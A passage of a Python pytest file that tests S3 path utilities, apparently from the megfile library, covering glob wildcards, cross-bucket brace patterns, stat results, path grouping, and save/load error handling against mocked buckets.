assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/[13]/**/*?msg', [ 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/c/A.msg' ]) assert_glob(r's3://{a,b,c}*/notExist', []) with pytest.raises(FileNotFoundError) as err: s3.s3_glob(r's3://{a,b,c}*/notExist', missing_ok=False) assert r's3://{a,b,c}*/notExist' in str(err.value) def assert_glob(pattern, expected, recursive=True, missing_ok=True): assert sorted( s3.s3_glob(pattern, recursive=recursive, missing_ok=missing_ok)) == sorted(expected) def assert_glob_stat(pattern, expected, recursive=True, missing_ok=True): assert sorted( s3.s3_glob_stat(pattern, recursive=recursive, missing_ok=missing_ok)) == sorted(expected) def _s3_glob_with_common_wildcard(): ''' scenario: common shell wildcard, '*', '**', '[]', '?' expectation: return matched pathnames in lexicographical order ''' # without any wildcards assert_glob('s3://emptyBucketForGlobTest', ['s3://emptyBucketForGlobTest']) assert_glob( 's3://emptyBucketForGlobTest/', ['s3://emptyBucketForGlobTest/']) assert_glob('s3://bucketForGlobTest/1', ['s3://bucketForGlobTest/1']) assert_glob('s3://bucketForGlobTest/1/', ['s3://bucketForGlobTest/1/']) assert_glob( 's3://bucketForGlobTest/1/a', ['s3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a']) # 同名文件 assert_glob( 's3://bucketForGlobTest/2/a/d/2.json', ['s3://bucketForGlobTest/2/a/d/2.json']) assert_glob( r's3://bucketForGlobTest/2/a/d/{c/1,2}.json', [ 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest/2/a/d/2.json' ]) # '*', all files and folders assert_glob('s3://emptyBucketForGlobTest/*', []) assert_glob( 's3://bucketForGlobTest/*', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/2', ]) # all files under all direct subfolders assert_glob( 's3://bucketForGlobTest/*/*', [ 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/2/a', ]) # combination of '?' and [] assert_glob('s3://bucketForGlobTest/[2-3]/**/*?msg', []) assert_glob( 's3://bucketForGlobTest/[13]/**/*?msg', ['s3://bucketForGlobTest/1/a/b/c/A.msg']) assert_glob( 's3://bucketForGlobTest/1/a/b/*/A.msg', ['s3://bucketForGlobTest/1/a/b/c/A.msg']) with pytest.raises(FileNotFoundError): list(s3.s3_glob('s3://notExistsBucketForGlobTest/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list(s3.s3_glob('s3://emptyBucketForGlobTest/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list(s3.s3_glob('s3://bucketForGlobTest/3/**', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob( 's3://bucketForGlobTest/1/**.notExists', missing_ok=False)) def _s3_glob_with_recursive_pathname(): ''' scenario: recursively search target folder expectation: returns all subdirectory and files, without check of lexicographical order ''' # recursive all files and folders assert_glob( 's3://bucketForGlobTest/**', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a/b', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest/2', 's3://bucketForGlobTest/2/a', 's3://bucketForGlobTest/2/a/b', 's3://bucketForGlobTest/2/a/b/a', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest/2/a/d/c', ]) assert_glob( 's3://bucketForGlobTest/**/*', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a/b', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest/2', 's3://bucketForGlobTest/2/a', 's3://bucketForGlobTest/2/a/b', 's3://bucketForGlobTest/2/a/b/a', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest/2/a/d/c', ]) def _s3_glob_with_same_file_and_folder(): ''' scenario: existing same-named file and directory in a directory expectation: the file and directory is returned 1 time respectively ''' # same name and folder assert_glob( 's3://bucketForGlobTest/1/*', [ # 1 file name 'a' and 1 actual folder 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', ]) def _s3_glob_with_nested_pathname(): ''' scenario: pathname including nested '**' expectation: work correctly as standard glob module ''' # nested # non-recursive, actually: s3://bucketForGlobTest/*/a/*/*.jso? assert_glob( 's3://bucketForGlobTest/**/a/**/*.jso?', [ 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/1/a/b/1.json' ], recursive=False) # recursive # s3://bucketForGlobTest/2/a/b/a/1.json is returned 2 times # without set, otherwise, 's3://bucketForGlobTest/2/a/b/a/1.json' would be duplicated assert_glob( 's3://bucketForGlobTest/**/a/**/*.jso?', [ 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', ]) def _s3_glob_with_not_exists_dir(): ''' scenario: glob on a directory that is not exists expectation: if recursive is True, return the directory with postfix of slash('/'), otherwise, an empty list. keep identical result with standard glob module ''' assert_glob('s3://bucketForGlobTest/notExistFolder/notExistFile', []) assert_glob('s3://bucketForGlobTest/notExistFolder', []) # not exists path assert_glob('s3://notExistBucket/**', []) assert_glob('s3://bucketA/notExistFolder/**', []) assert_glob('s3://notExistBucket/**', []) assert_glob('s3://bucketForGlobTest/notExistFolder/**', []) def _s3_glob_with_dironly(): ''' scenario: pathname with the postfix of slash('/') expectation: returns only contains pathname of directory, each of them is end with '/' ''' assert_glob( 's3://bucketForGlobTest/*/', [ 's3://bucketForGlobTest/1/', 's3://bucketForGlobTest/2/', ]) assert_glob( 's3://bucketForGlobTest/[2-9]/', [ 's3://bucketForGlobTest/2/', ]) # all sub-directories of 2, recursively assert_glob( 's3://bucketForGlobTest/2/**/*/', [ 's3://bucketForGlobTest/2/a/', 's3://bucketForGlobTest/2/a/b/', 's3://bucketForGlobTest/2/a/b/a/', 's3://bucketForGlobTest/2/a/b/c/', 's3://bucketForGlobTest/2/a/d/', 's3://bucketForGlobTest/2/a/d/c/', ]) def _s3_glob_with_common_wildcard_cross_bucket(): ''' scenario: common shell wildcard, '*', '**', '[]', '?' expectation: return matched pathnames in lexicographical order ''' # without any wildcards assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/1', ['s3://bucketForGlobTest/1', 's3://bucketForGlobTest2/1']) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/1/', [ 's3://bucketForGlobTest/1/', 's3://bucketForGlobTest2/1/', 's3://bucketForGlobTest3/1/' ]) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/a', [ 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a' ]) # 同名文件 assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest3}/1/a/b/1.json', [ 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/1.json' ]) assert_glob( r's3://{bucketForGlobTest/2,bucketForGlobTest2/1}/a/b/c/2.json', [ 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest2/1/a/b/c/2.json' ]) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/1/a{/b/c,/b}/1.json', [ 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/b/c/1.json', 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/c/1.json', 's3://bucketForGlobTest3/1/a/b/1.json' ]) # '*', all files and folders assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest3}/*', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/2', 's3://bucketForGlobTest3/1', ]) # all files under all direct subfolders assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/*/*', [ 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/2/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', ]) # combination of '?' and [] assert_glob( r's3://{bucketForGlobTest,emptyBucketForGlobTest}/[2-3]/**/*?msg', []) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/[13]/**/*?msg', [ 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/c/A.msg' ]) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/a/b/*/A.msg', [ 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/b/c/A.msg' ]) assert_glob( r's3://{notExistsBucketForGlobTest,bucketForGlobTest}/*', ['s3://bucketForGlobTest/1', 's3://bucketForGlobTest/2'], missing_ok=False) with pytest.raises(FileNotFoundError): list( s3.s3_glob( r's3://{notExistsBucketForGlobTest,bucketForGlobTest}/3/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/3/**', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/**.notExists', missing_ok=False)) def _s3_glob_with_recursive_pathname_cross_bucket(): ''' scenario: recursively search target folder expectation: returns all subdirectory and files, without check of lexicographical order ''' # recursive all files and folders assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/**', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a/b', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest/2', 's3://bucketForGlobTest/2/a', 's3://bucketForGlobTest/2/a/b', 's3://bucketForGlobTest/2/a/b/a', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest/2/a/d/c', 's3://bucketForGlobTest2/1', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a/b', 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/b/c', 's3://bucketForGlobTest2/1/a/b/c/1.json', 's3://bucketForGlobTest2/1/a/b/c/2.json', 's3://bucketForGlobTest2/1/a/b/c/A.msg', 's3://bucketForGlobTest2/1/a/c', 's3://bucketForGlobTest2/1/a/c/1.json', 's3://bucketForGlobTest2/1/a/c/A.msg', 's3://bucketForGlobTest2/1/a/1.json', ]) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest3}/**/*', [ 's3://bucketForGlobTest/1', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a/b', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/1/a/b/c/A.msg', 's3://bucketForGlobTest/2', 's3://bucketForGlobTest/2/a', 's3://bucketForGlobTest/2/a/b', 's3://bucketForGlobTest/2/a/b/a', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest/2/a/d/c', 's3://bucketForGlobTest3/1', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a/b', 's3://bucketForGlobTest3/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/c', 's3://bucketForGlobTest3/1/a/b/c/1.json', 's3://bucketForGlobTest3/1/a/b/c/A.msg', ]) def _s3_glob_with_same_file_and_folder_cross_bucket(): ''' scenario: existing same-named file and directory in a directory expectation: the file and directory is returned 1 time respectively ''' # same name and folder assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/1/*', [ # 1 file name 'a' and 1 actual folder 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest2/1/a', 's3://bucketForGlobTest3/1/a', 's3://bucketForGlobTest3/1/a', ]) def _s3_glob_with_nested_pathname_cross_bucket(): ''' scenario: pathname including nested '**' expectation: work correctly as standard glob module ''' # nested # non-recursive, actually: s3://bucketForGlobTest/*/a/*/*.jso? assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/**/a/**/*.jso?', [ 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/c/1.json', 's3://bucketForGlobTest3/1/a/b/1.json', ], recursive=False) # recursive # s3://bucketForGlobTest/2/a/b/a/1.json is returned 2 times # without set, otherwise, 's3://bucketForGlobTest/2/a/b/a/1.json' would be duplicated assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/**/a/**/*.jso?', [ 's3://bucketForGlobTest/1/a/b/1.json', 's3://bucketForGlobTest/1/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/a/1.json', 's3://bucketForGlobTest/2/a/b/c/1.json', 's3://bucketForGlobTest/2/a/b/c/2.json', 's3://bucketForGlobTest/2/a/d/2.json', 's3://bucketForGlobTest/2/a/d/c/1.json', 's3://bucketForGlobTest2/1/a/1.json', 's3://bucketForGlobTest2/1/a/b/1.json', 's3://bucketForGlobTest2/1/a/c/1.json', 's3://bucketForGlobTest2/1/a/b/c/1.json', 's3://bucketForGlobTest2/1/a/b/c/2.json', 's3://bucketForGlobTest3/1/a/b/1.json', 's3://bucketForGlobTest3/1/a/b/c/1.json', ]) def _s3_glob_with_not_exists_dir_cross_bucket(): ''' scenario: glob on a directory that is not exists expectation: if recursive is True, return the directory with postfix of slash('/'), otherwise, an empty list. keep identical result with standard glob module ''' assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/notExistFolder/notExistFile', []) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/notExistFolder', []) # not exists path assert_glob(r's3://{notExistBucket,notExistBucket2}/**', []) assert_glob(r's3://{bucketA,falseBucket}/notExistFolder/**', []) assert_glob(r's3://{notExistBucket,notExistBucket2}/*', []) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/notExistFolder/**', []) def _s3_glob_with_dironly_cross_bucket(): ''' scenario: pathname with the postfix of slash('/') expectation: returns only contains pathname of directory, each of them is end with '/' ''' assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2}/*/', [ 's3://bucketForGlobTest/1/', 's3://bucketForGlobTest/2/', 's3://bucketForGlobTest2/1/', ]) assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/[2-9]/', [ 's3://bucketForGlobTest/2/', ]) # all sub-directories of 2, recursively assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/2/**/*/', [ 's3://bucketForGlobTest/2/a/', 's3://bucketForGlobTest/2/a/b/', 's3://bucketForGlobTest/2/a/b/a/', 's3://bucketForGlobTest/2/a/b/c/', 's3://bucketForGlobTest/2/a/d/', 's3://bucketForGlobTest/2/a/d/c/', ]) # all sub-directories of 1, recursively assert_glob( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/1/**/*/', [ 's3://bucketForGlobTest/1/a/', 's3://bucketForGlobTest/1/a/b/', 's3://bucketForGlobTest/1/a/b/c/', 's3://bucketForGlobTest2/1/a/', 's3://bucketForGlobTest2/1/a/b/', 's3://bucketForGlobTest2/1/a/b/c/', 's3://bucketForGlobTest2/1/a/c/', 's3://bucketForGlobTest3/1/a/', 's3://bucketForGlobTest3/1/a/b/', 's3://bucketForGlobTest3/1/a/b/c/', ]) def test_s3_glob(truncating_client): original_calls = (os.path.lexists, os.path.isdir, os.scandir) _s3_glob_with_bucket_match() _s3_glob_with_common_wildcard() _s3_glob_with_recursive_pathname() _s3_glob_with_same_file_and_folder() _s3_glob_with_nested_pathname() _s3_glob_with_not_exists_dir() _s3_glob_with_dironly() assert original_calls == (os.path.lexists, os.path.isdir, os.scandir) def test_s3_glob_cross_bucket(truncating_client): original_calls = (os.path.lexists, os.path.isdir, os.scandir) _s3_glob_with_common_wildcard_cross_bucket() _s3_glob_with_recursive_pathname_cross_bucket() _s3_glob_with_same_file_and_folder_cross_bucket() _s3_glob_with_nested_pathname_cross_bucket() _s3_glob_with_not_exists_dir_cross_bucket() _s3_glob_with_dironly_cross_bucket() assert original_calls == (os.path.lexists, os.path.isdir, os.scandir) def test_s3_iglob(truncating_client): with pytest.raises(UnsupportedError) as error: s3.s3_iglob('s3://') def test_group_s3path_by_bucket(truncating_client): assert sorted( s3._group_s3path_by_bucket( r"s3://*ForGlobTest{1,2/a,2/1/a}/1.jso?,")) == [ 's3://bucketForGlobTest2/{1/a,a}/1.jso?,' ] assert sorted( s3._group_s3path_by_bucket( r's3://{emptybucket,bucket}ForGlob{Test,Test2,Test3}/c/a/a')) == [ 's3://bucketForGlobTest/c/a/a', 's3://bucketForGlobTest2/c/a/a', 's3://bucketForGlobTest3/c/a/a', 's3://emptybucketForGlobTest/c/a/a', 's3://emptybucketForGlobTest2/c/a/a', 's3://emptybucketForGlobTest3/c/a/a', ] def test_s3_glob_stat(truncating_client, mocker): mocker.patch('megfile.s3.StatResult', side_effect=FakeStatResult) original_calls = (os.path.lexists, os.path.isdir, os.scandir) # without any wildcards assert_glob_stat( 's3://emptyBucketForGlobTest', [ ('s3://emptyBucketForGlobTest', make_stat(isdir=True)), ]) assert_glob_stat( 's3://emptyBucketForGlobTest/', [ ('s3://emptyBucketForGlobTest/', make_stat(isdir=True)), ]) assert_glob_stat( 's3://bucketForGlobTest/1', [ ('s3://bucketForGlobTest/1', make_stat(isdir=True)), ]) assert_glob_stat( 's3://bucketForGlobTest/1/', [ ('s3://bucketForGlobTest/1/', make_stat(isdir=True)), ]) assert_glob_stat( 's3://bucketForGlobTest/1/a', [ ('s3://bucketForGlobTest/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest/1/a', make_stat(size=27)), # 同名文件 ]) assert_glob_stat( 's3://bucketForGlobTest/2/a/d/2.json', [ ('s3://bucketForGlobTest/2/a/d/2.json', make_stat(size=6)), ]) # '*', all files and folders assert_glob_stat('s3://emptyBucketForGlobTest/*', []) assert_glob_stat( 's3://bucketForGlobTest/*', [ ('s3://bucketForGlobTest/1', make_stat(isdir=True)), ('s3://bucketForGlobTest/2', make_stat(isdir=True)), ]) # all files under all direct subfolders assert_glob_stat( 's3://bucketForGlobTest/*/*', [ ('s3://bucketForGlobTest/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest/1/a', make_stat(size=27)), # 同名文件 ('s3://bucketForGlobTest/2/a', make_stat(isdir=True)), ]) # combination of '?' and [] assert_glob_stat('s3://bucketForGlobTest/[2-3]/**/*?msg', []) assert_glob_stat( 's3://bucketForGlobTest/[13]/**/*?msg', [('s3://bucketForGlobTest/1/a/b/c/A.msg', make_stat(size=5))]) assert original_calls == (os.path.lexists, os.path.isdir, os.scandir) with pytest.raises(UnsupportedError) as error: s3.s3_glob_stat('s3://') with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( 's3://notExistsBucketForGlobTest/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list(s3.s3_glob_stat('s3://emptyBucketForGlobTest/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list(s3.s3_glob_stat('s3://bucketForGlobTest/3/**', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( 's3://bucketForGlobTest/1/**.notExists', missing_ok=False)) def test_s3_glob_stat_cross_bucket(truncating_client, mocker): mocker.patch('megfile.s3.StatResult', side_effect=FakeStatResult) original_calls = (os.path.lexists, os.path.isdir, os.scandir) # without any wildcards assert_glob_stat( r's3://{emptyBucketForGlobTest,bucketForGlobTest2}', [ ('s3://emptyBucketForGlobTest', make_stat(isdir=True)), ('s3://bucketForGlobTest2', make_stat(isdir=True)), ]) assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/1', [ ('s3://bucketForGlobTest/1', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1', make_stat(isdir=True)), ('s3://bucketForGlobTest3/1', make_stat(isdir=True)), ]) assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/', [ ('s3://bucketForGlobTest/1/', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1/', make_stat(isdir=True)), ]) assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/a', [ ('s3://bucketForGlobTest/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest/1/a', make_stat(size=27)), # 同名文件 ('s3://bucketForGlobTest2/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1/a', make_stat(size=27)), # 同名文件 ]) assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2}/2/a/d/2.json', [ ('s3://bucketForGlobTest/2/a/d/2.json', make_stat(size=6)), ]) # '*', all files and folders assert_glob_stat('s3://emptyBucketForGlobTest/*', []) assert_glob_stat( r's3://{bucketForGlobTest,emptyBucketForGlobTest,bucketForGlobTest2}/*', [ ('s3://bucketForGlobTest/1', make_stat(isdir=True)), ('s3://bucketForGlobTest/2', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1', make_stat(isdir=True)), ]) # all files under all direct subfolders assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/*/*', [ ('s3://bucketForGlobTest/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest/1/a', make_stat(size=27)), # 同名文件 ('s3://bucketForGlobTest/2/a', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest2/1/a', make_stat(size=27)), # 同名文件 ('s3://bucketForGlobTest3/1/a', make_stat(isdir=True)), ('s3://bucketForGlobTest3/1/a', make_stat(size=27)), # 同名文件 ]) # combination of '?' and [] assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/[2-3]/**/*?msg', []) assert_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/[13]/**/*?msg', [ ('s3://bucketForGlobTest/1/a/b/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest2/1/a/b/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest2/1/a/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest3/1/a/b/c/A.msg', make_stat(size=5)), ]) assert_glob_stat( r's3://{notExistsBucketForGlobTest,bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/[13]/**/*?msg', [ ('s3://bucketForGlobTest/1/a/b/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest2/1/a/b/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest2/1/a/c/A.msg', make_stat(size=5)), ('s3://bucketForGlobTest3/1/a/b/c/A.msg', make_stat(size=5)), ], missing_ok=False) assert original_calls == (os.path.lexists, os.path.isdir, os.scandir) with pytest.raises(UnsupportedError) as error: s3.s3_glob_stat('s3://') with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( r's3://{notExistsBucketForGlobTest,notExistsBucketForGlobTest2}/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( r's3://{emptyBucketForGlobTest,notExistsBucketForGlobTest2/2}/*', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2,bucketForGlobTest3}/3/**', missing_ok=False)) with pytest.raises(FileNotFoundError): list( s3.s3_glob_stat( r's3://{bucketForGlobTest,bucketForGlobTest2}/1/**.notExists', missing_ok=False)) def test_s3_split_magic(): assert _s3_split_magic('s3://bucketA/{a/b,c}*/d') == ( 's3://bucketA', '{a/b,c}*/d') def test_group_s3path_by_bucket(truncating_client): assert sorted( _group_s3path_by_bucket( 's3://{bucketA,bucketB}/{a,b}/{a,b}*/k/{c.json,d.json}')) == sorted( [ 's3://bucketA/{a,b}/{a,b}*/k/{c.json,d.json}', 's3://bucketB/{a,b}/{a,b}*/k/{c.json,d.json}' ]) assert sorted( _group_s3path_by_bucket( 's3://{bucketA/a,bucketB/b}/c/{a,b}*/k/{c.json,d.json}')) == sorted( [ 's3://bucketA/a/c/{a,b}*/k/{c.json,d.json}', 's3://bucketB/b/c/{a,b}*/k/{c.json,d.json}' ]) assert sorted( _group_s3path_by_bucket( 's3://bucketForGlobTest*/{a,b}/{a,b}*/k/{c.json,d.json}') ) == sorted( [ 's3://bucketForGlobTest/{a,b}/{a,b}*/k/{c.json,d.json}', 's3://bucketForGlobTest2/{a,b}/{a,b}*/k/{c.json,d.json}', 's3://bucketForGlobTest3/{a,b}/{a,b}*/k/{c.json,d.json}', ]) def test_group_s3path_by_prefix(): assert sorted( _group_s3path_by_prefix("s3://bucketA/{a,b}/*/k/{c,d}.json")) == sorted( ['s3://bucketA/a/*/k/{c,d}.json', 's3://bucketA/b/*/k/{c,d}.json']) assert sorted( _group_s3path_by_prefix( "s3://bucketA/{a,b/*}/k/{c.json,d.json}")) == sorted( [ 's3://bucketA/a/k/c.json', 's3://bucketA/a/k/d.json', 's3://bucketA/b/[*]/k/c.json', 's3://bucketA/b/[*]/k/d.json' ]) assert sorted( _group_s3path_by_prefix( "s3://bucketA/{a,b}*/k/{c.json,d.json}")) == sorted( ['s3://bucketA/{a,b}*/k/{c.json,d.json}']) assert sorted( _group_s3path_by_prefix( "s3://bucketA/{a,b}/{c,d}*/k/{e.json,f.json}")) == sorted( [ 's3://bucketA/a/{c,d}*/k/{e.json,f.json}', 's3://bucketA/b/{c,d}*/k/{e.json,f.json}' ]) assert sorted( _group_s3path_by_prefix( "s3://bucketA/{a,b}/k/{c.json,d.json}")) == sorted( [ 's3://bucketA/a/k/c.json', 's3://bucketA/a/k/d.json', 's3://bucketA/b/k/c.json', 's3://bucketA/b/k/d.json' ]) assert sorted(_group_s3path_by_prefix("s3://bucketA/{a,b}/k/")) == sorted( [ 's3://bucketA/a/k/', 's3://bucketA/b/k/', ]) def test_s3_save_as(s3_empty_client): content = b'value' s3_empty_client.create_bucket(Bucket='bucket') s3.s3_save_as(BytesIO(content), 's3://bucket/result') body = s3_empty_client.get_object( Bucket='bucket', Key='result')['Body'].read() assert body == content def test_s3_save_as_invalid(s3_empty_client): content = b'value' s3_empty_client.create_bucket(Bucket='bucket') with pytest.raises(IsADirectoryError) as error: s3.s3_save_as(BytesIO(content), 's3://bucket/prefix/') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_save_as(BytesIO(content), 's3:///key') assert 's3:///key' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_save_as(BytesIO(content), 's3://notExistBucket/fileAA') assert 's3://notExistBucket' in str(error.value) def test_s3_load_from(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') s3_empty_client.put_object(Bucket='bucket', Key='key', Body=b'value') content = s3.s3_load_from('s3://bucket/key') assert content.read() == b'value' def test_s3_load_from_invalid(s3_empty_client): s3_empty_client.create_bucket(Bucket='bucket') with pytest.raises(IsADirectoryError) as error: s3.s3_load_from('s3://bucket/prefix/') assert 's3://bucket/prefix/' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_load_from('s3:///key') assert 's3:///key' in str(error.value) with pytest.raises(PermissionError) as error: s3.s3_load_from('s3://notExistBucket/fileAA') assert 's3://notExistBucket' in str(error.value) with pytest.raises(FileNotFoundError) as error: s3.s3_load_from('s3://bucket/notExistFile') assert 's3://bucket/notExistFile' in str(error.value) def test_s3_prefetch_open(s3_empty_client): content = b'test data for s3_prefetch_open' s3_empty_client.create_bucket(Bucket='bucket') 